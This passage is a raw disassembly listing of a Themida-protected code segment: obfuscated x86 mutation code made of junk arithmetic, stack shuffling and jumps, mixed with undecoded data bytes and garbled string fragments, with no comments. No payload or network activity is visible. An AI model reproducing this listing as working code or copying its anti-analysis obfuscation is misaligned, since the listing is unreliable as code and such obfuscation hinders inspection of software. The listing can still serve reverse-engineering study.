		dd 0E904EC83h, 5EEBh, 76BF575Ah, 10E576Bh, 0F106E9F8h
		dd 9FBFFFFFh, 0E95CFFA5h, 0FFFFADFAh, 475C381h,	0DF214A72h
		dd 0FFABBCE9h, 2DFD68FFh, 7CE90000h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5558CB:				; CODE XREF: Themida_:005522A9j
		add	edx, 4
		sub	edx, 4
		jmp	loc_551788
; ---------------------------------------------------------------------------
aRsq7		db 'RéŸ7',0
		align 2
		dw 0C5BAh
		dd 89196972h, 0CA6E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5558EE:				; CODE XREF: Themida_:0055CAC8j
		mov	ecx, 556D4FF4h
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 1
		push	780Eh
		mov	[esp], eax
		mov	eax, 0B51CB509h
		xor	ebx, eax
		pop	eax
		add	edx, ebx
		pop	ebx
		jmp	loc_552C00
; ---------------------------------------------------------------------------

loc_555914:				; CODE XREF: Themida_:0056305Bj
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		and	edx, 5DDE1380h
		add	edx, 154C43A2h
		shl	edx, 4
		push	2CA1h
		mov	[esp], eax
		mov	eax, 26156724h
		add	eax, 282350EAh
		push	edx
		mov	edx, 22616997h
		and	eax, edx
		pop	edx
		dec	eax
		inc	eax
		shr	eax, 1
		add	eax, 0A5CFDD0h
		xor	edx, eax
		pop	eax
		push	0C33h
		mov	[esp], edi
		jmp	loc_553760
; ---------------------------------------------------------------------------
		db 66h,	5Eh, 66h
		dd 0C281665Ah, 0E9595A7Fh, 6A8Ch, 80D1EC80h, 0C4FEDCE4h
		dd 80FDC480h, 686610ECh, 24280000h, 24248A24h, 8002C483h
		dd 0EC83B8C4h, 241C8904h, 0FEE912B3h, 5000002Ch, 0BD55E089h
		dd 556F13D0h, 13CCED81h, 0E801556Fh, 4C0835Dh, 2474FF50h
		dd 48F5804h, 4015C24h, 33FD6824h, 3C890000h, 6456824h
		dd 4890000h, 42446824h,	34FF6577h, 0D4E95824h, 5A0000CEh
		dd 5004C483h, 0FFF8B8E9h, 1CB252FFh, 4EC81h, 98E90000h
		dd 81000015h, 4C6h, 2BA5200h, 57000000h, 0B16980BFh, 3CB95154h
		dd 810BB274h, 6D412EEEh, 0EAB0E975h, 3C8BFFFFh,	4C48324h
		dd 9E2BE9h
		db 0
; ---------------------------------------------------------------------------

loc_555A1D:				; CODE XREF: Themida_:0055081Bj
		push	5A0B5904h
		pop	eax
		dec	eax
		shr	eax, 8
		push	ecx
		mov	ecx, 41ED42E8h
		jmp	loc_550993
; ---------------------------------------------------------------------------
aLSov		db '‹<$é®v',0
		align 2
		dw 0C166h
		dd 555203EDh, 10A7BD66h, 8D63E9h
		db 0
; ---------------------------------------------------------------------------

loc_555A49:				; CODE XREF: Themida_:0055A7D8j
		add	ecx, 4DD03216h
		not	ecx
		neg	ecx
		jmp	loc_565480
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 81243C89h, 4ECh, 24348900h, 0DF2A4568h, 24348B68h
		dd 0FFFAA2E9h, 5BF988FFh, 0AD18E9h, 56D2F700h, 394E39BEh
		dd 4FF7E96Ch, 0EB280000h, 8066C380h, 0C8B50C3h,	4C48324h
		dd 0FFF582E9h, 0DB951FFh, 0C10A5176h, 0F18106E1h, 945D8344h
		dd 24348151h, 28365B32h, 5B323558h, 81592836h, 8C09FBEFh
		dd 81C70172h, 8C09FBC7h, 24048B72h, 0F03BE9h, 1B8E6800h
		dd 4AE90000h, 5E0000C9h, 4C681h, 0CEE90000h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555AE7:				; CODE XREF: Themida_:0055C7BDj
		xor	ecx, edi
		pop	edi
		push	6A8Bh
		jmp	loc_563143
; ---------------------------------------------------------------------------

loc_555AF4:				; CODE XREF: Themida_:00557E0Aj
		pop	dx
		pop	eax
		jmp	loc_55E7E6
; ---------------------------------------------------------------------------
		dd 0E8C3E957h, 1C8BFFFFh, 4C48324h, 54B95157h, 0E9457550h
		dd 0FFFFED74h
; ---------------------------------------------------------------------------

loc_555B14:				; CODE XREF: Themida_:0055DC88j
		add	esi, 4
		jmp	loc_5624B6
; ---------------------------------------------------------------------------
		db 50h
		dd 524A6DB8h, 0CB9BE931h, 0C681FFFFh, 194870F7h, 412EC681h
		dd 0C8B756Dh, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 81FE295Ch, 0B2743CEEh, 0D6015F0Bh, 0FFD65EE9h, 4C483FFh
		dd 4BB53h, 0DE010000h, 4EE835Bh, 8BAE9h, 0A0E95E00h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_555B73:				; CODE XREF: Themida_:0056552Ej
		mov	esp, [esp]
		push	579Bh
		mov	[esp], ebx
		mov	ebx, 71843DDFh
		dec	ebx
		shl	ebx, 5
		inc	ebx
		jmp	loc_558253
; ---------------------------------------------------------------------------
aZst		db 'ZéT$',0
		dw 0BA00h
aOE1Js		db 'o&¿e1Ú[Jé¸Ý',0
		dd 0E95E6600h, 0E005h, 31240433h, 4332404h, 24248B24h
		dd 0E9242489h, 9281h, 2474FF56h, 48F5E04h, 0C4815C24h
		dd 4, 8B24048Fh, 3CD32424h, 0FEE99C24h,	8000000Bh, 0EB804EC3h
		dd 62686631h, 4896622h,	4EC8124h, 89000000h, 9EB5240Ch
		dd 0E959EC88h, 0FFFFC483h, 0D915E952h, 3C87FFFFh, 333E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555C0A:				; CODE XREF: Themida_:00553E21j
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		sub	ebx, 79C7789Eh
		add	ebx, esi
		jmp	loc_55F9E4
; ---------------------------------------------------------------------------
		dd 9205FCB9h, 0E9CE31F0h, 0C078h, 94EA1105h, 58C601D9h
		dd 4B850h, 0C6290000h, 1DDEE9h
		db 0
; ---------------------------------------------------------------------------

loc_555C41:				; CODE XREF: Themida_:0055679Aj
		sub	eax, ebp
		jmp	loc_551AE4
; ---------------------------------------------------------------------------
		dd 65E9F801h, 89FFFFA5h, 0CEE9240Ch, 570000F3h,	4BFh, 3EA1E900h
		dd 8B660000h, 0C4812414h, 2, 8344F780h,	0C8904ECh, 88F98824h
		dd 305B59CEh, 0AE2C59EEh, 0E052E9h, 0EB45000h, 0D4E9D4F6h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555C8F:				; CODE XREF: Themida_:00551381j
		pop	ebx
		jmp	loc_556D17
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48358h, 0B850D5F7h, 508913E8h, 48BC531h, 8B10E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555CAE:				; CODE XREF: Themida_:00554E89j
		sub	al, ch
		pop	ecx
		mov	bx, [esp]
		push	ebp
		jmp	loc_55DA07
; ---------------------------------------------------------------------------

loc_555CBB:				; CODE XREF: Themida_:00554417j
		add	ecx, 4
		push	edi
		mov	edi, 4
		jmp	loc_55A29E
; ---------------------------------------------------------------------------
		dd 83243489h, 1C8904ECh, 9DBD5524h, 0BB03AD5Ah,	715F5F11h
		dd 0E1E9EB29h, 0FF00003Ch, 34FF2434h, 24148B24h, 0E7C7E9h
		db 0
; ---------------------------------------------------------------------------

loc_555CF5:				; CODE XREF: Themida_:005538B9j
		add	esi, 117F5410h
		add	esi, edx
		jmp	loc_556673
; ---------------------------------------------------------------------------
		dw 535Ch
		dd 4F1EA0BBh, 0EB814371h, 57EF79B3h, 256BCB81h,	68E96213h
		dd 5600003Eh, 494225BEh, 8BF52945h, 0C4832434h,	0FCC18104h
		dd 812E324Bh, 0D032B5E9h, 81E9013Ch, 0D032B5C1h, 8DE9573Ch
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555D43:				; CODE XREF: Themida_:0055E347j
		add	esi, 0AEC4F8B0h
		add	edx, esi
		jmp	loc_5532C1
; ---------------------------------------------------------------------------

loc_555D50:				; CODE XREF: Themida_:0055258Ej
		shl	edx, 1
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		xor	[edi+24h], edx
		push	3F90h
		mov	[esp], edi
		mov	edi, 10EC586Ah
		jmp	loc_56356D
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 1D2CE9h, 74FF5100h, 0CCE90424h, 81FFFFAAh, 0F92B5FEAh
		dd 1C572132h, 0FFCF40E9h, 65E95CFFh, 800000D0h,	0EFC02DCFh
		dd 4E4CE907h
		db 2 dup(0)
word_555D9E	dw 34FFh		; DATA XREF: Themida_:00550028o
		dd 240C8B24h, 5104C483h, 6CF9E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555DAE:				; CODE XREF: Themida_:0055F557j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	4539h
		jmp	loc_554513
; ---------------------------------------------------------------------------
		dd 8B59E800h, 0C481241Ch, 4, 0D21DE9h
		db 0
; ---------------------------------------------------------------------------

loc_555DF1:				; CODE XREF: Themida_:0055BF7Ej
		mov	dl, 0B4h
		sub	dl, 27h
		not	dl
		sub	dl, 0F5h
		sub	cl, dl
		mov	edx, [esp]
		add	esp, 4
		sub	cl, bl
		add	cl, 7Dh
		mov	ebx, [esp]
		add	esp, 4
		sub	bl, cl
		pop	ecx
		add	bl, al
		push	ecx
		mov	ch, 0C6h
		add	bl, ch
		jmp	loc_55C10E
; ---------------------------------------------------------------------------

loc_555E20:				; CODE XREF: Themida_:005612B2j
		mov	[esp], edx
		jmp	loc_5650AC
; ---------------------------------------------------------------------------
		dd 4246C81h, 736D5A4Dh,	4246C01h, 6EBBE9h, 0BEEB8100h
		dd 0E9339332h, 0FFFFF5ACh
; ---------------------------------------------------------------------------

loc_555E44:				; CODE XREF: Themida_:0055F672j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55B5D0
; ---------------------------------------------------------------------------
		db 1
		dd 13812DE8h, 9057267h,	8B4C6502h, 0C483242Ch, 0C1E95604h
		dd 0FF0000D0h, 0E9592434h, 3C0Ch, 81242489h, 42404h, 505D0000h
		dd 8A6FE9h, 24772900h, 0B54AE9h, 5AD68900h, 31B4EE81h
		dd 0F6817303h, 38FD3DE4h, 355EF009h, 35F40E6Ch,	12Dh, 7BABE900h
		dd 815C0000h, 4ECh, 243C8900h, 223FE3BFh, 246C8167h, 9D68FB08h
		dd 247C012Ah, 0A5F9E908h, 0E9530000h, 3E08h, 6AD4B850h
		dd 0B95143AAh, 1, 0F759C801h, 40540D8h,	53277826h, 0FFADB3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555F01:				; CODE XREF: Themida_:005632ADj
		pop	esp
		jmp	loc_5651B9
; ---------------------------------------------------------------------------
byte_555F07	db 8Bh			; DATA XREF: Themida_:0054FF0Co
		dd 88E92424h, 0C3FFFFA1h, 0FFA182E9h, 0E5C15AFFh, 0B0AFE908h
		dd 3C870000h, 0D5E95C24h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555F27:				; CODE XREF: Themida_:00552CC0j
		mov	[esp], edi
		mov	edi, 55076BFBh
		shl	edi, 3
		and	edi, 13B55C35h
		jmp	loc_5536F8
; ---------------------------------------------------------------------------
aI4SS		db '\‰4$éÅS',0
		align 2
aVrhomizsC	db 'VRhOm¨Zé æ',0
		align 2

loc_555F52:				; CODE XREF: Themida_:00553F3Aj
		add	edx, ebx
		add	edx, 754D502Ah
		mov	ebx, [esp]
		jmp	loc_5573D3
; ---------------------------------------------------------------------------

loc_555F62:				; CODE XREF: Themida_:005539B6j
		push	edi
		mov	edi, 4DB7653Ah
		shr	edi, 8
		sub	edi, 0F5DEA369h
		sub	edx, edi
		pop	edi
		sub	edx, 0F8E58CEh
		pop	ebx
		jmp	loc_552E91
; ---------------------------------------------------------------------------

loc_555F80:				; CODE XREF: Themida_:0055210Cj
		sub	eax, 3EF7756Ah
		sub	eax, 0BC133C8Ch
		and	ecx, eax
		pop	eax
		not	ecx
		shr	ecx, 4
		not	ecx
		shl	ecx, 6
		jmp	loc_553D4D
; ---------------------------------------------------------------------------
		dd 0E903E2C1h, 2576h, 660CBA52h, 0BF577C96h, 7D954A07h
		dd 5F5EF781h, 0EF8127A4h, 7DA9E09h, 0C15FFA31h,	0C28107EAh
		dd 0EFC2A0E0h, 0FFC105E9h, 19BA52FFh, 81BBE4C5h, 0A44845C7h
		dd 50D70102h, 5C41E9h, 6E020500h, 55F6FF8h, 0D9E1DD3h
		dd 0D6E9D829h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555FF3:				; CODE XREF: Themida_:0055825Bj
		sub	ebx, 0DD9CFB8Eh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4184223Fh
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		xchg	edx, [esp]
		jmp	loc_55DCF2
; ---------------------------------------------------------------------------

loc_556019:				; CODE XREF: Themida_:00562DC2j
		mov	eax, 18B13087h
		not	eax
		push	ebx
		mov	ebx, 2421A49h
		shl	ebx, 3
		inc	ebx
		shl	ebx, 2
		jmp	loc_553629
; ---------------------------------------------------------------------------
		dw 4401h
		dd 6C810424h, 7B5B0424h, 0E958270Dh, 0DB0Ch
; ---------------------------------------------------------------------------

loc_556044:				; CODE XREF: Themida_:00565653j
		mov	ebp, 1E65221Ah
		neg	ebp
		push	ebx
		jmp	loc_55A5AD
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4C1h, 240C8700h, 0FE2FE95Ch, 0C381FFFFh
		dd 4, 4EB81h, 1C870000h, 8CE95C24h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55607B:				; CODE XREF: Themida_:0055E25Dj
		pop	esp
		mov	[esp], edx
		mov	dh, 3Dh
		add	bl, dh
		push	dword ptr [esp]
		pop	edx
		push	eax
		push	esp
		jmp	loc_561D26
; ---------------------------------------------------------------------------
		dw 0BC35h
		dd 8951AC75h, 0EE10E9C7h, 0D2F6FFFFh, 0F280D2F6h, 4EC816Bh
		dd 89000000h, 8B5240Ch,	0E994F580h, 0C017h
; ---------------------------------------------------------------------------

loc_5560B4:				; CODE XREF: Themida_:0055CB9Cj
		add	esp, 4
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5636BC
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0E05ABCEDh, 48BC301h, 865DE924h, 81430000h, 540434F3h
		dd 6EBC11Ah, 739EEB81h,	0E956219Bh, 98EAh
; ---------------------------------------------------------------------------

loc_5560F0:				; CODE XREF: Themida_:0055FE37j
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 130C242Dh
		mov	ebp, eax
		jmp	loc_556799
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0A511h, 78E9CE31h, 8100002Ah, 4C7h, 990CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55611E:				; CODE XREF: Themida_:00562877j
		pop	ecx
		pop	esi
		jmp	loc_561616
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 5C240487h, 68241489h, 3DB119CBh, 72F2815Ah, 527A1806h
		dd 0F7975A5Fh, 58FEE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556146:				; CODE XREF: Themida_:005651DFj
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		push	esi
		mov	esi, 26036579h
		inc	esi
		add	esi, 0A7C1975h
		shl	esi, 5
		neg	esi
		xor	esi, 9E69288Fh
		jmp	loc_563566
; ---------------------------------------------------------------------------
		db 0E9h, 29h, 9Fh
		dd 0CB01FFFFh, 4EC8359h, 0FFD745E9h, 245C29FFh,	66685B08h
		dd 8900007Eh, 0D0B82404h, 14E1070h, 8B082444h, 89532404h
		dd 0F9B951E3h, 8101A04Dh, 671711E1h, 0DE98178h,	0E9002005h
		dd 85BCh, 9A6894B8h, 0BEE95104h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5561B7:				; CODE XREF: Themida_:0055E5E2j
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5644D0
; ---------------------------------------------------------------------------

loc_5561C9:				; CODE XREF: Themida_:00561317j
		mov	[esp], edi
		push	ecx
		mov	ecx, 57505CCBh
		push	edx
		mov	edx, 0EC7008EFh
		add	ecx, edx
		pop	edx
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 46932EBDh
		shr	ecx, 6
		sub	ecx, 401D3981h
		jmp	loc_553EB7
; ---------------------------------------------------------------------------

loc_556200:				; CODE XREF: Themida_:0056155Dj
		add	edi, 1
		dec	edi
		add	edi, 6E3C193Ch
		push	ebx
		mov	ebx, 61945749h
		neg	ebx
		or	ebx, 63A14C54h
		add	ebx, 6FAD1CB5h
		and	edi, ebx
		pop	ebx
		sub	edi, 3ED35423h
		xor	edi, 2DD0C0D7h
		jmp	loc_559C64
; ---------------------------------------------------------------------------
word_556232	dw 8B66h		; DATA XREF: Themida_:0054FE30o
		dd 2868240Ch, 89000010h, 8B54242Ch, 0C483242Ch,	0C146E904h
		dd 1C870000h, 4875C24h,	24248B24h, 87240489h, 0D0F72404h
		dd 2474FF50h, 48F5804h,	11685824h, 89000012h, 0E955240Ch
		dd 0FFFFAD0Ch
; ---------------------------------------------------------------------------

loc_556274:				; CODE XREF: Themida_:0055AE59j
		mov	esi, 4
		jmp	loc_563D27
; ---------------------------------------------------------------------------
		dw 0D689h
		dd 1A2DE9h, 0C3F58000h,	4EC81h,	1C890000h, 0AFAEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556296:				; CODE XREF: Themida_:0055F7F9j
		pop	ecx
		shr	ebp, 6
		add	ebp, 0FFFFFFFFh
		sub	ebp, 15B95309h
		add	edi, 4200570Ch
		sub	edi, ebp
		sub	edi, 4200570Ch
		pop	ebp
		mov	ebp, edi
		pop	edi
		push	edi
		jmp	loc_55BA1A
; ---------------------------------------------------------------------------

loc_5562BE:				; CODE XREF: Themida_:0055814Bj
		shl	ecx, 8
		not	ecx
		jmp	loc_557E6C
; ---------------------------------------------------------------------------
		dd 405h, 62CAE900h, 0E9520000h,	1A7Ch, 48BE130h, 0BBA0E924h
		dd 89510000h, 4C181E1h,	83000000h, 0C8704C1h, 6DE95C24h
		db 1Ah,	2 dup(0)
byte_5562F7	db 66h			; DATA XREF: Themida_:0054FDE8o
		dd 83240C8Bh, 148904ECh, 0E9545324h, 0DF3h
; ---------------------------------------------------------------------------

loc_556308:				; CODE XREF: Themida_:0055AB6Fj
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	ebx
		jmp	loc_564AA4
; ---------------------------------------------------------------------------

loc_556331:				; CODE XREF: Themida_:0055A1B6j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	eax
		mov	eax, 4
		sub	ecx, 5F7C7E08h
		add	ecx, eax
		add	ecx, 5F7C7E08h
		jmp	loc_551E5A
; ---------------------------------------------------------------------------

loc_556352:				; CODE XREF: Themida_:00562D08j
		mov	edx, 2641385Dh
		or	ecx, edx
		pop	edx
		jmp	loc_55CB66
; ---------------------------------------------------------------------------
		db 57h
		dd 0BE56E789h, 4, 0FFDBF1E9h, 24348BFFh, 0FFD8DEE9h, 4EA81FFh
		dd 0E9000000h, 0B9B1h, 0E904C483h, 5E84h, 4C481h, 0BFE90000h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556393:				; CODE XREF: Themida_:00553973j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	[esp+4], ebp
		jmp	loc_551A44
; ---------------------------------------------------------------------------
		db 1
		dd 14E95DEBh, 5A000068h, 0E9240C87h, 9730h, 16B6BF57h
		dd 0FD2979B8h, 62C5815Fh, 172C52Ah, 62ED81FDh, 0E972C52Ah
		dd 0FFFFD972h
; ---------------------------------------------------------------------------

loc_5563D0:				; CODE XREF: Themida_:00564D32j
		push	edx
		mov	dl, 0A8h
		shl	dl, 3
		push	ecx
		jmp	loc_55A731
; ---------------------------------------------------------------------------
aSjm		db 9,'ØéJM',0
		dw 5300h
		dd 0DD4EAFBBh, 76EB8112h, 10D4AE7h, 241C8BDEh, 8B04C483h
		dd 0C483241Ch, 0B16FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556402:				; CODE XREF: Themida_:00561DFEj
		push	eax
		mov	eax, 4DDD310Bh
		not	eax
		and	eax, 24696996h
		xor	eax, 20204890h
		add	edi, eax
		jmp	loc_55BFA8
; ---------------------------------------------------------------------------
		dd offset dword_4D2BE0+79h
		db 0D8h
		dd 0C4E94D04h, 870000C4h, 895C2434h, 8B54243Ch,	97E9243Ch
		dd 830000DCh, 5E904ECh,	0C100002Eh, 0C28106E2h,	8DC6AA9h
		dd 0B9E95351h, 4000009Bh, 9865A35h, 4ABF57BAh, 0E97F4727h
		dd 88B6h
dword_556460	dd 24048B66h, 3AD6E9h, 0DC78100h, 0C1282667h, 0C78106EFh
					; DATA XREF: Themida_:0054FED4o
		dd 0FFA7C734h, 835FFB01h, 0E95304C3h, 43E0h, 5A29B951h
		dd 0D9F75657h, 8105E9C1h, 2A6278F1h, 59CF0174h,	3C03EF81h
		dd 0C78110E1h, 42D96262h, 0A3C7814Fh, 0E9718DCEh, 0CD96h
		dd 73B2BA52h, 0D00123F4h, 2DD8015Ah, 23F473B2h,	0FFBDE9E9h
		dd 1DBD55FFh, 89FC2F4Eh, 0C177E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5564D2:				; CODE XREF: Themida_:0055EBBFj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5610F1
; ---------------------------------------------------------------------------

loc_5564DB:				; CODE XREF: Themida_:0055AD8Dj
		pop	ebx
		jmp	loc_55FDA9
; ---------------------------------------------------------------------------
		db 80h,	0F2h, 64h
aSSx		db 'S³-é•',8,0
		align 4
		dd 2414895Ch, 2F3978BAh, 2BBE5610h, 5322321Fh, 0B053A0BBh
		dd 49CAE970h, 9DBB0000h, 31CC9463h, 1446E9DDh, 0BA520000h
		dd 6C4518Fh, 0C104EAC1h, 0F28107E2h, 5AD78569h,	0FFDD54E9h
		dd 243C89FFh, 0C781E789h, 4, 0DE03E950h, 0E951FFFFh, 213Bh
		dd 0F781EFD1h, 128F3598h, 4AE9FA01h, 5700006Ch,	237EE1BFh
		dd 0DA8FE901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55655A:				; CODE XREF: Themida_:0055154Ej
		add	esp, 2
		add	dl, 3Dh
		sub	al, 0E9h
		sub	al, dl
		add	al, 0E9h
		pop	edx
		sub	al, 4Dh
		sub	al, bl
		add	al, 4Dh
		add	al, 5Dh
		push	ecx
		mov	ch, 0C4h
		neg	ch
		shr	ch, 4
		inc	ch
		jmp	loc_55AA29
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 0E9000000h, 0BF4Eh
; ---------------------------------------------------------------------------

loc_55658C:				; CODE XREF: Themida_:00560487j
		add	ebx, ebp
		push	ecx
		jmp	loc_55994E
; ---------------------------------------------------------------------------
		dd 2E1C15Ah, 4106E9C1h,	28B2F181h, 1E9521Bh, 890000AEh
		dd 0DD8959CBh, 246C015Bh, 0C015E904h, 0E7800000h, 0E9CFFE4Dh
		dd 0C969h
; ---------------------------------------------------------------------------

loc_5565C0:				; CODE XREF: Themida_:00551A99j
		add	ebp, 4
		jmp	loc_558CA9
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0BE56F101h, 570D525Bh, 969EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5565D9:				; CODE XREF: Themida_:0055F5BCj
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55564D
; ---------------------------------------------------------------------------
		dd 69B95152h, 816D1E5Fh, 691BB8F1h, 87C9812Ah, 8112254Ah
		dd 135D1CC1h, 0B40DE902h, 0E689FFFFh, 4C681h, 0EC830000h
		dd 4BC5E904h, 3C890000h, 0CB12E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556622:				; CODE XREF: Themida_:005542E9j
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	edi
		add	edi, 4
		push	ecx
		jmp	loc_55D691
; ---------------------------------------------------------------------------
		dw 0EAB7h
		dd 5B66F828h, 332CE22Ch, 8904EC83h, 1EE9241Ch, 57000085h
		dd 910EF168h, 243C8B08h, 4EC8151h, 89000000h, 4832424h
		dd 5AE90424h, 52FFFFACh, 27E971B2h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556673:				; CODE XREF: Themida_:00555CFDj
		push	ebp
		jmp	loc_56506F
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 33240C31h, 315C240Ch, 8B04247Ch, 0C481243Ch,	4, 0E924148Bh
		dd 0BF0Dh
; ---------------------------------------------------------------------------

loc_556698:				; CODE XREF: Themida_:0055A27Fj
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		jmp	loc_552B7C
; ---------------------------------------------------------------------------
		dd 8104C483h, 1C1h, 4292E900h, 1BA0000h, 89000000h, 24148BD1h
		dd 0FFDEBFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5566C9:				; CODE XREF: Themida_:00553932j
		not	ebx
		neg	ebx
		sub	ebx, 0C1E2E7E3h
		add	eax, ebx
		jmp	loc_55A38D
; ---------------------------------------------------------------------------

loc_5566DA:				; CODE XREF: Themida_:005551F3j
		push	small 71EFh
		jmp	loc_55793C
; ---------------------------------------------------------------------------

loc_5566E3:				; CODE XREF: Themida_:0056152Dj
		mov	eax, esi
		jmp	loc_555574
; ---------------------------------------------------------------------------

loc_5566EA:				; CODE XREF: Themida_:005534C8j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_553A2D
; ---------------------------------------------------------------------------
		dd 8159CA29h, 0F0296BEAh, 81DA0118h, 0F0296BC2h, 5457E918h
		dd 0F4BF0000h, 891BEF0Dh, 0E8015FFDh, 3BD555Dh,	50337462h
		dd 6D5307B8h, 58C50903h, 18CEE957h, 0C7810000h,	4, 0FFB754E9h
		dd 30D2DFFh, 0E2E95A3Bh, 68000083h, 7AE442BDh, 50243C8Bh
		dd 405E089h, 83000000h,	48704C0h, 0E4E95C24h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55676F:				; CODE XREF: Themida_:0055AA30j
		sub	al, ch
		sub	al, 0A5h
		add	al, 93h
		jmp	loc_563ECE
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 0E9042474h, 342h, 68240489h,	281h, 701E9h
		db 0
; ---------------------------------------------------------------------------

loc_556791:				; CODE XREF: Themida_:00552604j
		push	dword ptr [esp]
		jmp	loc_55AF81
; ---------------------------------------------------------------------------

loc_556799:				; CODE XREF: Themida_:00556101j
		pop	eax
		jmp	loc_555C41
; ---------------------------------------------------------------------------
		db 89h
		dd 0D4B82404h, 0C142FB65h, 0FD2D03E0h, 81AF4106h, 30603EC3h
		dd 1BC38117h, 295DF277h, 1BEB81C3h, 515DF277h, 0C107CDB9h
		dd 6A47E971h, 0B9510000h, 4, 0FFD2EBE9h, 98B9E9FFh, 0C483FFFFh
		dd 0F9015A04h, 240C335Fh, 0E9240C31h, 216Bh, 874AD187h
		dd 0C8F181D1h, 8101ED77h, 7AA987E9h, 59CA2943h,	8B5AD729h
		dd 64682404h, 0E900003Fh, 0BEC4h, 68240C89h, 3AE1h, 52242489h
		dd 604B850h, 3BE97A0Ch,	0E9000038h, 0FFFF9867h,	2237C281h
		dd 0C281407Bh, 618F1C8Ah, 2BC7E9h
		db 0
; ---------------------------------------------------------------------------

loc_556841:				; CODE XREF: Themida_:0055C8CBj
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_561928
; ---------------------------------------------------------------------------
aLSvm		db '‹$$éVŒ',0
		align 4
		dd 0F4AE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556862:				; CODE XREF: Themida_:00553037j
		push	ebx
		pop	dword ptr [edi+20h]
		mov	ebx, [esp]
		add	esp, 4

loc_55686C:				; CODE XREF: Themida_:0055C363j
					; Themida_:0055CEF3j
		push	dword ptr [esp]
		jmp	loc_5577FD
; ---------------------------------------------------------------------------
		dd 2434875Bh, 4C1815Ch,	57000000h, 4BFh, 41C18100h, 101CF28h
		dd 41E981F9h, 5F01CF28h, 5C240C87h, 39F5B951h, 0C1814A8Fh
		dd 0B570C60Fh, 978BB53h, 32E90128h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5568AF:				; CODE XREF: Themida_:005649E4j
		add	esp, 4
		add	ebp, 0A3E5AA10h
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
